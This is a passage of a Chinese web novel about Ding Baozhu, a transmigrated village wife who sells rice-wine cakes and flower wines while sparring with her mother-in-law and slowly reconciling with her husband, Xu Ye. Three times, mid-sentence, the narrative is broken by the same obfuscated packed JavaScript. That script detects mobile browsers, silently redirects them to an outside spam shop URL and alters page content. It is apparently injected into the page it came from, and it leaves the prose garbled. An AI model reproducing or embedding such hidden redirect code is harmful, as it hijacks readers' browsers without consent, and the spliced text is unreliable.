徐晔换下脏衣物去吃饭,等吃完了,才从那筐子里取出了几条比较瘦的蛇尸,以及一条上面明显带着异样花纹的无头蛇尸,心里十分满足。 那些医馆药铺最喜欢的就是毒蛇的蛇胆,先前他们抓蛇的次数不多,对于毒蛇也自然是能避则避,捉些不危险的草蛇居多,但自从丁宝珠来后打开了蛇身上的销路,抓蛇的次数上升了,以他的熟练度,竟然也能捕到白花蛇这样的毒蛇了。 要知道从这条蛇里出的一颗蛇胆,可堪比那一罐子蛇油,甚至还要更贵! 这件事他对徐翊和李银屏说了,也被徐莹徐芝缠着讲了紧张刺激的过程,有表扬有嗔怪还有关切,他想了想,把这件事也告诉了丁宝珠。 丁宝珠正在桌前算账,那一打草纸已经初具规模,叠在一起仿佛真是个账本了。点蜡点灯在这里是件比较奢侈的事情,所以她不过是依靠着月光低头看着纸上自己的字迹。 听徐晔说了一大堆话,可她不知怎么,就想起他刚回来时的自己,心里蓦然一团乱麻,这心绪的尽头她莫名有些捉摸不透,只好搪塞地点点头道: “那很好,到时候上镇上去一定能卖个好价钱。” 徐晔听了,心里也有些微的失落。 也许她是真的对自己不在意吧。 想到这,他一把拆了发髻,之后躺在床上盖上被子,转身面壁着睡。 丁宝珠见他要睡了,也不好耽搁太久,只好脱了鞋也上床。 皎洁清亮的月光从那个小窗口处弥漫进来笼罩着整个室内,明明是冷色,可随即到来的春气却多了几分暖意,这时盖着那床厚重的喜被却是热了些,而那窗外寂静的仅剩几声犬吠的夜幕中,还夹杂着数声若有若无新鲜的虫鸣。 丁宝珠想了想,说: “过段日子镇上要开市,爹说到时候我们都去赶市。” “嗯。”徐晔背对着她小小应了一声。 丁宝珠又提议道: “但是我想着,那时候的人肯定多,说不定比寒食那时的人还要多,我也做了新的吃食,想带过去卖……” 徐晔听完,莫名感到些许烦躁,当即转过身来不悦道: “你人都掉在钱眼里了吧?整天只想着钱,我们家里多一个你又算不了啥!” 丁宝珠听出那一抹不耐,心里不自主也来了气,冷笑道: “不想着钱还能想什么?想你啊?你值得我想吗?反正你既不管钱也不管我,那我情愿去多挣点钱,我自己过得还舒服呢!” 徐晔噎了噎,竟然感到有点哑口无言,因为回想当初至今,如果不是他爹从中还吩咐些,他和丁宝珠确实关系淡淡,完全不像是一对夫妇,最重要的是——他们也根本没有夫妻之实。 开不了口,一时也没再翻身,徐晔的下半脸藏在被角后面,唯有一双漆黑的眸子,在如水月光中阴沉沉地看着丁宝珠,像是一头冷静待敌的小狼。 丁宝珠懒得和他废话,气呼呼地拉上被沿盖住了自己的脑袋。可虽是这么做了,半刻也没有睡着,不久后却听徐晔闷闷的声音传来,问: “是不是姨母和你说啥了?” 丁宝珠没怎么听出那台阶下,也隔着被子闷闷道: “她能说啥?说了又怎么样?你能说回去吗?不能就闭嘴睡觉!” 徐晔一呲牙,登时起了身就要把那被子给掀开。如此近的距离,丁宝珠当然感受到了,就使劲抓着不让他掀,床上骤然乱糟糟起来。 那床本就是一张旧床,对双人来说又有些窄了,这么一闹腾,那板子和腿就吱吱嘎嘎地响起来。丁宝珠到底敌不过小猎户的力气,又是闷太久没气的缘故,手上一松,空气涌了进来,她定睛一瞧,披着发的徐晔深深眯看着自己,那发丝沿着肩膀垂下来,似有似无地触在她的颊上。 自睡到一张床上后,他俩能不碰到就不碰到,幸好也都是沾枕即着,于是直到现在都是相安无事的。 所以他们从来没有过凑到这样近的情况,徐晔的手掌和小臂立在她头旁,好像连上半身都贴了过来,一阵暖丝丝的电流倏忽在中间跃动了下,两人貌似都怔愣住了。 徐晔宛如生生摸到了一块极烫的炭火,霎时往后退去,只是那么小的范围,退也退不了哪里,最后倚着墙壁一会儿,又背对着她躺下,不说话了。 这反应,怎么像反过来,是自己轻薄他了?丁宝珠无语地想。 闹腾了一阵也没个结局,可这觉还是要睡的,所以她无声打个哈欠,还是闭上眼了。 心里惦着她做的新吃食,鸡才叫了遍,她就悠悠转醒,揉揉眼起床了。 经过一夜发酵的酒酿面团和米团已有了股浓郁的酒香味,酒酿米糕只需要再上锅蒸就行了,但酒酿饼需要分成一个个剂子擀成饼,然后再上锅煎才行。 所以丁宝珠先烧了火,又擀了面饼出来,一个锅上蒸糕,一个下油来煎饼,一时间热烘烘的雾气与油滋声齐发,把整个早晨都唤醒了一般。 而除了她外,起得最早的大概就是李银屏了。她察觉到灶房内有动静,走进一瞧,满是甜甜的酒香味,一旁的容器里已经放了不少刚做好的酒酿饼,便攒眉道: “你做这些,都是要拿出去卖的?” 丁宝珠点点头,又淡然道:“我还留了点出来,可以做早食吃,我等会儿就走了。” 李银屏看她那神情心里起疑,可也不知道在那之后是否有人对她说了什么,竟没有再多说,拿了东西又出去了。 丁宝珠看了眼半空上的天际,忙去把锅盖打开,里面盛着一大块圆形的已经膨胀起来的酒酿糕。她再拿来了一点切得极碎的干花碎撒在上面,这些干花也是用现在常见的花瓣做的,之后再均匀地切块装好。 而所有的酒酿饼也煎好了,丁宝珠分着口味也包好放进了筐中,可最近虽是气温上升了些,但若是卖的不好,过几个时辰也就冷却下来,那口感也许就要差一截子了。 看来要找机会升级一下自己的装备了啊。她心里细细忖度着。 只是这一回,她就去寻了块布盖在了上面,捂得严严实实的,又盛了一部分的米酒,最后丁宝珠挑着担子试了试重量,因着已经十分熟练了,便稳稳当当地离开了家。 一迳来到村外,清晨的依稀薄雾清新而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581956|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁静。丁宝珠四下眺望了一番,节令一过,又成了那稀稀疏疏摊位的景象,不过比起自己第一次来到这,这里多出了些专门卖吃食的摊贩了。 丁宝珠毫不气馁,又挑了个栽着杏花的地方放下了担子,也不把那筐子上的布给揭开,直接大声叫卖道: “新鲜出炉的酒酿饼和酒酿糕,只吃这一季咧!——” “还有新酿的桃花酿与杏花酿,又香又甜,售完即止咯!——” 对于每天都要经过这里的人来说,丁宝珠的声音他们已经很熟悉了,这不话音刚落,就有行人上前张了张,问道: “娘子,你这里今天不卖凉糕啊?” 丁宝珠笑道: “凉糕卖得多,但也要换换口味嘛,而且酒酿糕饼就吃这么几日罢了,所以我也趁个新鲜,客人不如买来尝尝?还是热腾腾的呢!” 丁宝珠说着,这才把那筐布给打开一半,一块块白花花的米糕,上面嵌着密麻的干花,又是一个个煎得两面金黄胖鼓鼓的酒酿饼,散发着袅袅热气,弥漫着阵阵酒香。 先前吃那凉糕,吃到嘴里也的确都是冷食了,见丁宝珠今天难得做了热食,那好奇心就不禁被勾出来了,与此同时还被那香味勾出了几条馋虫,那人便问道: “那娘子,你这是咋卖的?” “不带馅儿的素饼子是五文钱两个,带馅儿的有两种馅,一种是糖馅儿的,一种是木耳香菇干笋的,都是三文钱一个。”丁宝珠利落地解释道,“要是您不爱吃饼子,这还有酒酿糕,也是有不带馅儿的素糕,带馅儿的是豆沙馅的,价钱都一样。” 这么听下来,自然是带馅儿的实惠点,那人便点头笑道: “那我就要一个糖馅酒酿饼尝尝吧。” “好咧。” 丁宝珠听闻,就拿油纸给他包了一个,现在手头上也不是那么拮据了,她就会多买些油纸回来。用油纸来包装吃食,看着比用叶子干净美观,这也是其中的一个点。 那人买饼,怕是要边走边吃的,从丁宝珠这接过了酒酿饼,只是稍微吹了吹气就迫不及待地咬了一口,只觉得那饼子暄软到好似啃了一口云彩一般,可那煎过后却又有些微微的生脆酥皮。酒香扑鼻,糖心软糯,再加上手里嘴里都是暖乎乎的,咽下去后,那胃里也暖了起来,很是舒适。 那人比了个大拇指赞道: “不错不错,娘子这饼做得果然好吃,怪不得能舍弃凉糕转来卖这个!” 如今丁宝珠在象山村里的名声先不说,可在这能摆摊子的大道上却是渐渐有些名儿了,人们对她的摊子已眼熟不少,特别是那凉糕,现在称呼也称作卖凉糕的那位娘子了。 丁宝珠笑道: “客人喜欢就好,但其实我做的这酒酿糕也是不相上下的,而且还适合做点心吃呢。” “这样?那我要两块素糕尝尝,再来一块豆沙馅儿的吧。”那人一面吃着饼,一面模糊道。 于是丁宝珠又包了酒酿糕,知道他这是听进去了自己的话,看样子是准备带回去的,所以包得更严实些,还扯了根丝线系上,这才递过去,笑道: “客人要是觉得好吃,可得帮我宣传宣传,我这几天都卖!——您是我今天的第一位顾客,这糕和饼子的钱,您给十文就行了。” 见丁宝珠主动给了优惠,那人也笑道: “好好好,那有啥难的,你瞧好吧!那我就先走了哈。” 送走客人,丁宝珠又接着叫卖,之前来来往往的行人里也有看到这一幕和停留过的,又见到那人吃得津津有味和那新鲜的酒酿饼,不由得也过来买一个尝尝鲜。 而且这饼子,倒是适合当做早食吃! 丁宝珠见自己这下是真的开张了,忙不迭招呼客人收着钱,然而就在这时,一位大娘也凑上来瞧了瞧,却没开口说什么。 55. 肥珠子 丁宝珠手上忙活着,还不忘招待道: “大娘,您想买点什么吗?” 那大娘笑道: “娘子,我听人说你这卖自酿,花样不少,价格也公道,现在还有不?” “有,当然有,我这有的是桃花酿和杏花酿,不知大娘想要哪一款?” 好在卖糕饼就是包货再拿钱,所以丁宝珠很快就做好了,就打开另外的坛子给那位大娘看。 大娘往里面瞅了眼,似乎也闻到了那酒香,笑道: “看着都不错,只是……不知有没有醪糟卖?” 提到另一个东西就说明对当前的不太满意,丁宝珠愣了下,不好意思道: “有虽有,但我只是来卖酒,就没有一并带过来,大娘是想买那个?” “哎呀,其实也不是啥大不了的事,这不是我儿媳妇刚生完孩子,就想着买点新酿的回去给她好好补一补嘛。”大娘摆摆手道,“我那村里没卖的,出来买吧,货比三家,没几家我看得上眼的,听说你这卖得不错,我就来碰碰运气。” 话虽如此,丁宝珠却猜测,这所谓的货比三家很有可能是对价钱不满意罢了。 醪糟那东西自然也能做出许多美食来,尤其是最为经典的酒酿小圆子。丁宝珠也不是做不出来,只是做出来卖,总不能让客人站在原地吃吧?势必需要几张桌椅,就连她目前为止带来的那些饮品,来买的人几乎也是自带容器才装去买的,庆幸这里人流多,她每次才能将将卖完。 她只想着卖酒,倒是一时没有考虑过醪糟,但既然有了商机,丁宝珠也不能把话说死了,便提议道: “大娘若信得过我,明日一早带着容器来,我也把那醪糟拿过来,大娘到时候看看那质量怎样,我是不嫌麻烦的,还请大娘您也别嫌弃!” 大娘笑道: “行,那我明儿再来瞧瞧!” 又过了一个多时辰,筐子里的糕饼已所剩无几,早高峰也要过去了,就少了部分买吃食来做早食的人。 旁边还有不少收摊离去的贩子,丁宝珠见不是那么忙,便也直接坐在地上,从筐子里取出了一块酒酿糕来吃。 糕里有着浓郁的米香与细腻的口感,很快就在嘴里缓缓地融化了,只是没有保温,这糕还是冷了些,而糕一旦冷却就会稍许硬了。 她一面吃,一面感受着衣里的荷包大小,实际上原先她是觉得这酒酿糕饼会卖得一般,没想到仍是销路不错,除去材料费用,又是能赚钱的一天。 丁宝珠想着,大抵是她今天卖热食的缘故。现在天还没有那么热,虽然凉糕一样能够做早食,可一大早吃点热食更让人舒服,这不禁又让她想起了第一次去祥安镇时,在那吃到的大馒头和没吃上的鸡汤馄饨,特别是有铺子的,那可真是座无虚席。 也不知道自己什么时候能开一家店呢?毕竟摊位的流动性太高了,有一个固定地点,给人的感觉就会比较正规,而且早中晚都可以开,不像摆摊,带来的东西卖完就没有了。 不过现下最重要的,是她要升级一下摊上的装备,然后考虑推出更多热食了。 就在快接近午食时,又有人过来买酒酿饼,如果说早上适合吃甜食,这时已经劳作一上午的人们就想吃点咸口的。 于是那香菇木耳笋子馅酒酿饼就成为了这群人的第一选择,而酒酿饼本身就带有一点甜味,要是配上肉馅未免味道厚重了点,清爽的素馅却不错,再加上买来做午食的,通常都是两个起买,所以丁宝珠带来的数量很快就被买了个干净,甚至还有懊恼没有买到的,她不得不承诺明天会接着卖才行。 也有一些人过来买的是酒酿糕,而且都是需要包装的,直到最后,今天也就是那两款酒没有卖完。 不过好在酒这个东西能放,况且就算卖不出,家里人也能喝,这时候喝米酒最是补身的。 丁宝珠收拾好后挑着担子回了家,她今天招呼了那些来买午食的客人,自然回去晚了点。抬眼一看,那屋顶上已经出现了悠悠炊烟,看来又少不得要听李银屏啰嗦几句了。 心里不知怎么感到闷闷的,仿佛新手去灶膛里点火,死活点不着还燃出了一阵厚厚的烟气被呛得直咳嗽。丁宝珠低着头挑着扁担进了门,那徐芝正坐在灶房旁边择着菜,她这个年龄也早就能做这种简单的家务活了。 徐芝抬头见到她挥了挥手,丁宝珠微笑了笑,放下扁担,把那两坛没有卖完的酒带去了灶房内。 灶房里有着热热香气,李银屏站在大锅前炒菜。她斜瞟了一眼进来的丁宝珠,果然率先开口道: “哟,还知道回来啊?我还以为你不准备回来了呢,又或者干脆跑了回娘家,毕竟我这里地小,容不下你那些家伙什。” 听着李银屏的阴阳怪气,丁宝珠只是倒酒盛酒,淡然道: “我不过是晚回来了点,姨母也是有手有脚的,总归饿不死,我一两天没伺候你们,你们手脚就软了不成?何况姨母现在是在做什么?” “啧啧,你如今脾气倒是不小,我就是说你几句又咋了?再说你做儿媳妇的,伺候公婆和丈夫那是天经地义!” 李银屏一边握着锅铲一边叉着腰,口中仍不忘念着那些话。但既然她在做午食,便又道: “罢了罢了,我是请不了你,但还有点时间也别浪费了,你去把盆里那些衣物洗了吧,之后再拿去晾了!” 丁宝珠装好酒,一声不吭地离开了灶房。李银屏倒是察觉到她心情不佳,却仍是摇了摇头,只觉得一定是自己的八字和她相冲,到底来说,还是她依旧不满意这个儿媳妇。 丁宝珠嫁过来也有月余了,日常也有换下来的衣裳,虽说这种天气出汗不多,但上山下田难免会弄脏。徐晔成了家后,他的衣裳就不会是别人来洗了,而是她这个媳妇儿要做的事。 不管怎样,这里还是遵循着夫为妻纲的规矩,而让男人去洗衣做饭仿佛是绝对不能够的事情,要是传出去了,光是风言风语都能够淹了那家。 再者丁宝珠还有自己的衣物要洗,这时候穿的也不像冬季那般厚重。 她找来一个小罐子,打开后,里面装着一颗颗滚圆的黑黝黝的丸子,拿在手里摸还有点油油的,掰开扔进盛满水的木盆里搅一搅就有些微泡沫了,正是家家户户都必备自制的肥珠子。 而这天然的洗涤物,甚至还有一抹浅浅的草木香气,丁宝珠又拿起杵头来敲打着盆里湿透的衣物,这洗衣放到这,那也是一项要费力气的家务劳动。 丁宝珠挑了个角落默默在洗着衣裳,洗到一半,徐芝走过来说道: “大嫂,你那些花棒啥的,应当是都已经晒好了,有些是变成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592134|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你说的那样子,我都给你收起来了。” 丁宝珠在采摘那些松花回来后和家里每个人都讲了这件事,不然要是有人不清楚而把那些都给扔了烧了,到时候可赶不上赶市了。 晒松花要晒到微微发白才好,之后就可以取花粉了。丁宝珠听后便笑道: “行,谢谢芝儿,到时候我那松针汽水酿好了,就先给你尝尝。” 徐芝不知道那汽水是个啥,提到松针她也只能联想到茶水,而她这个年纪想来不喜欢苦苦的茶水,和丁宝琴有得一拼,可还是没有多说什么,只是笑道: “好啊好啊,还有,大嫂到时候可得和我们一块儿去赶市啊!” 丁宝珠点点头,随即又想起什么来,朝她招了招手道: “芝儿,我有点事想问你。” “大嫂想问啥?”徐芝不明所以。 丁宝珠略略放下杵头,随便找了个借口问道: “我有点记不得了,咱们村里有没有能做器具的人家来着?” 徐芝不太知晓丁宝珠原主发生了什么,更是没有多想,随口就道: “不知大嫂你要做啥容器,不过我们村里有家干木匠的,虽然我爹和我大哥也会些木匠活,但遇上做大件还是会去找那家人来做,村里大多数人也都找他家的。” 丁宝珠一心想着升级装备,竟把某件事给忘了个干净,听闻后又问问地点,就让徐芝去了。 既然她想要做热乎的吃食,就需要个能保温的容器,那几个一直带的筐子是可以下岗了,而她至今为止所挣到的钱,也应该足够去制作几件像样的容器了。 想来这也能算是一笔投资呢! 丁宝珠心里思量着,然而正在用力绞着衣物的时候,她突然觉得小腹中似乎被刺了几下,紧接着底下一抹热流淌过。她脸色一变,暗叫不好,放下衣物就赶紧回了屋。 结果李银屏做完午食出来,就只见到一个木盆,里面装着拧紧的衣裳,人却不知到哪里去了,不禁埋怨道: “哪有人做事做到一半就溜的?这洗好的衣服留着给谁晾?越来越不会做事了!” 徐莹徐芝帮着摆桌端饭菜,后者单纯,直接就说道: “说不定大嫂是有啥事想起来就去做了,等会儿肯定还回来哩。最近大嫂天天鸡叫了就要出门,刚刚还问我去哪里做器具,我说去林大叔家是最好的呢。” 李银屏心里一惊,大声道: “你说啥?再说一遍?!” 徐芝吓得差点把手里的饭菜给撒了,结结巴巴地说道: “没……我没说啥呀,就是刚才大嫂问了我几句话……” 李银屏继而阴下了脸,徐莹连忙上前来打着圆场道: “娘,你冲妹妹吼啥?她还小呢,哪里知道那么多,饭菜都好了,还是先吃饭吧!” 李银屏冷哼一声,坐在桌旁就拿起筷子吃了起来。徐芝怯怯地看了一眼,又小声问: “娘,我们不等大嫂吗?” “等她干啥?她事儿都没做好,咋能半途而废?再说现在家里那么多吃的,也饿不着她,她还不能自己找吃的去?我们先吃,她啥时候干完啥时候吃!” 徐莹感到稍许头疼,只觉得浑身酸软,也没什么胃口,但李银屏都发话了,她不得不跟着徐芝吃了几口饭菜。 56. 红糖醪糟鸡子 而等丁宝珠回来,远远见她们母女三人已经在吃饭了,也没有出声,只是又坐在了那木盆旁边的小凳上,用力把那些衣物给拧干放去另一个空盆中,接着又舀了新水继续洗起别的来。 穿越过来,倒是把这件月月都要经历的事情给忘了,好在原主早从柳萍那得知了这件事,出嫁前柳萍还给她新做了不少月带,就是那使用方法嘛……丁宝珠想起来还是会不由得颤一颤,但又不得不硬着头皮去那么做。 当然她也能用得好些,可那花销却是明显付不起的——单凭这点,她还是要多多挣钱才行。 洗完又晾晒好衣裳,丁宝珠泼了水,才松口气,就觉得浑身好像也被洗衣杵给敲了一遍似的,连那小腹也仿佛是在被拉扯着,可那并不像一根刺,反而像是一把筷子在里面不停地搅和。 如此也没了食欲,丁宝珠就想着回屋躺一会儿。 可即便躺下了也毫无恢复的兆头,她在床上就像翻来覆去的烙饼,无论如何也感觉不安稳,干脆闷在被子里一动不动,闭上眼企图睡着片刻。 而徐晔回到家的时候早过了午食,他带着黑虎推开家门瞧了瞧,那餐桌倒是还放在原地,上面摆着饭菜,一看就是给他留的。 他让黑虎回窝,又脱下背后的筐子,李银屏发现了他,出来问道: “晔儿,你回来了?” “是,姨母。”徐晔答应了声,眼睛却往其他地方睨了睨。 “今儿咋晚回来了些?……罢了,桌上还留着饭,你吃了吧。”李银屏嘱咐着,“芝儿去给你爹送饭了,莹儿貌似有点不舒服,你和黑虎把饭吃了就自己收拾好吧。” 这话里完全没有某人,徐晔顿了顿,才问: “宝珠呢?” “哦……你说你媳妇啊。” 李银屏如今像是根本不能提到她的名字,一提到就难掩一种在外人眼里看来十分莫名的愤愤,怒极反笑道: “当然是在屋里躺着了,活儿不干,饭也不吃,你这哪里是娶了一个媳妇回来,怕是娶了个祖宗!你要还把她看做是媳妇,就去好好教导教导她,让她守守三从四德才好!” 徐晔早就习惯在李银屏生气的时候不出声了,因为要是回了嘴,只怕会更像开了火枪那样喋喋不休,何况他本身就不太会说话。 如此想着,他便来到了屋内,抬眼就见到床上鼓起了一个大包,犹豫片刻,他才上前唤了两声,但是床上的人仍旧像没有声息一样。 徐晔懊恼地搔搔脑袋,其实他早就预想过丁宝珠要是真发了脾气,那一定是不去理睬的,可不知怎么真遇上了,他反而放不下。从早上开始他就不见她,上山后也总是惦着这件事,有时出神还是黑虎提醒的自己,他究竟是咋了? 纠结过后,他觉得这事必须要有个结果,不然老是感觉叫人不自在,便伸手拍了拍被窝,说道: “宝珠,你醒醒,我有事要和你说……” 丁宝珠迷迷糊糊被叫醒,心里烦躁,她摸了摸因为自己翻滚着而散乱的发髻,惺忪醒来,见是居高临下看着她的徐晔,有气无力地问道: “干什么?” “你……” 徐晔吃了一惊,怎么才几个时辰不见,她整个人就瞧上去病恹恹的?尤其是那张圆脸和嘴都没什么血色了,和往日里的根本不同。 这下原本想说的话也抛之脑后,徐晔不安地问道: “你这是咋了?出啥事了?” 丁宝珠认为把这件事告诉他也无妨,便轻声回答道: “没什么,我就是来了月事,休息休息就好了。” 谁知徐晔的神情似乎更疑惑了,微微歪着头问: “月事?那是啥事?很紧要吗?” 丁宝珠一时无语,不过想来徐晔不懂也正常,不仅没人给他解释过,就连他本人估计也是不近女色的,自然不明白,可她困倦地只想继续睡,便道: “你去问你姨母吧,她比我清楚。” “哦……” 徐晔看她不想多说,只好道: “那你休息,我……我走了。” 于是丁宝珠翻身继续睡了,期间朦朦胧胧地还听到屋外有啥奇特的杂音,她也只是把被角盖在耳朵上接着睡。 然而不知又过了几时,徐晔那忽远忽近的声音再度响了起来: “宝珠,你醒醒。” 丁宝珠的心先醒了,想着她还要去做明日带去售卖的吃食,若是再睡下去恐怕来不及,只好揉着眼坐起了身。 可她还没有完全睁开眼,面上却触到了一阵热喷喷的米香,睁眼一看,竟然是一碗棕红色的液体,里面隐隐约约窝着一颗水煮的鸡子,旁边还浮着洁白的米粒。 丁宝珠怔了怔,问道: “这咋了?” 徐晔没什么表情,所以丁宝珠也没发现他耳垂那红的简直像是莓果的颜色。 “你不是来了月事吗?姨母煮了这个让我拿来给你吃,而且你也没吃午食吧?” 他一本正经地解释着,貌似已经了解那月事到底属于是什么事了,但丁宝珠听后却挑了挑眉——李银屏煮的?她怎么就那么不相信呢? 不过睡了一小觉倒还真的饿了,她接过那碗,又细闻了闻,闻出是她做的米酒气味,看来这一碗是红糖煮醪糟,里面还敲了颗鸡子。 丁宝珠顿时想起了今早遇到的那个想买醪糟的大娘,她儿媳妇刚生产完要补一补,大抵也是这一套。 她想了想,问:“这是姨母特地煮的?” 徐晔讪讪道:“我去找姨母的时候,她已经在灶台前开锅煮醪糟了,应该是我问了她,她才知道你……所以又多煮了一份。” 看来就算是他也明白,李银屏是不会突然改了性子的。 可李银屏怎么好端端地煮起红糖醪糟来了?她觉得并不是因为她想吃——很有可能是给别人做的,碰巧这时徐晔过来,她总不好两碗水端不平,只好又做了一份,再让徐晔带来。 丁宝珠拿着调羹吹了吹气,嗤笑一声道: “原来我是沾了别人的光,我就说哪里会这样待我。” 徐晔问道: “沾光?沾了谁的?” 丁宝珠啜了一口,浓郁的米香里混合红糖略显古朴的甜味,这个温度渥在手里喝进肚里,不一会儿体内就暖洋洋的,手脚一暖和,她还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603347|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真觉得来了几分精神,给懵懵懂懂的徐晔解释道: “怕是你妹妹也来了月事,她那年龄估计是初潮,得好好护着,不然你姨母怎么亲自下厨了,她是看在你的面子上才匀了我一碗呢。” 徐晔挠挠脸颊不再开口了,也不知他在想什么,丁宝珠并不去管,而是一勺一勺地喝着香甜的醪糟,不得不感叹自己还有这手艺,否则此时此刻,她大抵是吃不上这碗红糖醪糟的。 然而就在她啃着那颗鸡子时,徐晔蓦地小声道: “昨晚上是我太急了,啥也没想就说出来了,你、你别往心里去。” 感情他像根木头似的站在这里还沉默了许久,就是为了复盘昨晚发生的事? 她瞥了一眼,站定的徐晔抿着唇,仿佛下定了重大的决心一般,还时不时小幅度地抬眼来看自己,但是那眼神很快又转去了不同的方向——这样竟然还挺可爱。 丁宝珠咽下嘴里的鸡子,擦擦嘴道: “没事,你也没说错,我就是掉钱眼里了,我就是喜欢钱,要是没有钱,我还能吃上这些?而且我还想要赚更多的钱呢。” 徐晔想着屠户家有底子,这丁宝珠又是长女,那定是被宠出来的,可能从小就是要风得风,那条件怕是比自己家里还好。但这么想来,丁宝珠好像从来没怎么嫌弃过这里,反倒是自己主动努力去赚钱,如今有红糖、鸡子和酒,这些东西家里在以往可不是每天都能吃上的,虽说大多数还是为了节省。 “你想去做啥就去做啥吧。” 徐晔说着,也不站了,而是坐在了床沿上,又道: “你不是还说,过几天去赶市的时候要卖新吃食么?我……我陪你去吧?” 丁宝珠把碗交给他,又将被子掀开下床穿鞋,一壁整理着发髻笑道: “我可不敢劳烦你,而且去赶市时家里肯定是要采买的,你还是去背货吧,我一个人就行了。” 徐晔稍许蹙眉,见丁宝珠要走,忙问道: “你去干啥?不是要休息么?” “已经休息过了,难不成还要躺一整天?”丁宝珠反问道,“既然你都同意我了,那我要去做明天卖的吃食了,今天做的糕饼卖得不错,明天还要接着卖呢。” “嗳,你等等。” 徐晔也从床沿站起,一两步就跨了过来,抬手掰过丁宝珠的肩膀。后者冷不丁被移了方向,直直就望向前者的脸上。 徐晔朝她细细盯了一会儿,上面下面都瞄了瞄,那双乌黑的瞳仁十分灵敏地滴溜溜转了一圈,连那半长的鸦睫也跟着轻晃了晃。 他这是不是头一回正视自己?丁宝珠忽然这么想着。 徐晔却没想那么多,见丁宝珠脸上真回来了点血色也不是强撑,才放些心道: “好,那你去吧,我去地里找我爹,看看能不能帮他的忙。” 丁宝珠应了一声,就和他一起出了屋。徐晔又去李银屏那屋里不知说了啥,最后才拿了农具离开家。 而丁宝珠来到灶房后,那锅早就被刷干净了,唯独半空中似还留有一丝红糖醪糟的气味。她打开盖子一瞧,果然是挖了两勺出来,便又用这些酒酿来做糕饼去了。 57. 香菇油菜 做酒酿饼和酒酿糕首先要做面团,有了头次,丁宝珠也熟悉了,而且见卖得不错,她准备再做些创新出来。 酒酿糕她想做成别的形状,虽然她没有模具,但可以做成酒盏糕,不仅白白胖胖的,还松软香甜,大人小孩都爱吃。 至于酒酿饼,想着很多人买来是当作正餐来吃的,丁宝珠预备再做些新馅料,当然也是因为那木耳和香菇用得差不多了。 菌菇还要特意上山去瞧瞧有没有,但如果是野菜,不用上山在田地里就能找到许多。 丁宝珠做好面团任它发酵,又拍拍手离开灶房,徐晔回来时放下的筐子就在门口。 她往里瞧了瞧,里面还是有一两条无头蛇尸,这些日子经过徐晔的努力,在山上抓了不少蛇回来熬油,攒的速度比以往快不少,估摸着去赶市那天,就能把一罐新蛇油拿去镇上卖了,与此同时还有不少蛇胆。 但是她往里翻了翻,除此之外就没有其他东西了,便留了那些蛇尸,准备另外想办法。 在那之前,她想着先把那些晒好的松花棒给处理了。 松花棒已经被晒到微微发白,这时候最适合筛粉下来,极其细腻的松花粉被轻风一吹就要被吹去不少,所以丁宝珠移到了屋内来做。 她又找到了一个纱布袋子,装了大半袋的花粉,随即再重新盛出了一坛新酒来,把花粉袋浸泡在酒液里密封,就能酿出松花酒了。 而剩下的花粉,也足够做赶市那日去镇上售卖的吃食的份量,松花的花期短,丁宝珠还要抽时间去山上采花,虽然晒花需要时间,但之后依然能去村外卖,这松花可是真正的只吃一期的时令食物。 而那徐晔来到田间,果然也去找了事情做。然而他正埋头拔着草,和其他也来务农的人有一搭没一搭聊着,旁边却有人看见了什么,向他喊道: “徐晔,你媳妇来了!” 徐晔愣了愣,抬头一瞧,从田埂小路那走过来的可不是丁宝珠? 她怎么突然来了? 身边马上就有人开始起哄了,毕竟后者嫁过来也不过月余,照这么算,他俩还能算是新婚。 此时丁宝珠已经走过来了,她朝着其他人道了句好,后者也十分有眼力见地溜走了。 徐晔问道: “你咋来了?” 村里是没有女人下地这档事的,可丁家女儿连屠户都学着做了,似乎也并不是什么大不了的事情。 丁宝珠笑道: “我怎么不能来了?——给你和爹送点茶水来喝。” 徐晔眯眼睃着她看,嘴里揶揄道: “你这真像是无故献殷勤,咋之前不见你过来送茶水?怕是有啥事吧?” “这也瞒不到你。”丁宝珠笑盈盈道,“我就是想着过来拔些野菜……田埂上最能长了。” “来到田里了,还能让你去拔野菜?你倒是想得出来!” 徐晔的口气少许生硬,但很快又说道: “正好地里有菜已经长熟了,你拔了回家用。” “那太好了。”丁宝珠笑着,又用挎篮里的茶碗茶壶倒了水出来,道,“你和爹休息休息,我去拔菜!” “……你会吗?” 徐晔知道丁家是没有田地的,也不靠种地过日子,便对此表示怀疑。 “不就是拔菜嘛,我要是连这个都不会,那就别在村里过了。” 徐晔只好接过茶碗,嘱咐道: “这里还有镰刀,你拿了再去。” 丁宝珠答应后,就在徐晔带来的那个筐里取了镰刀,继而去后者所指的那个位置。 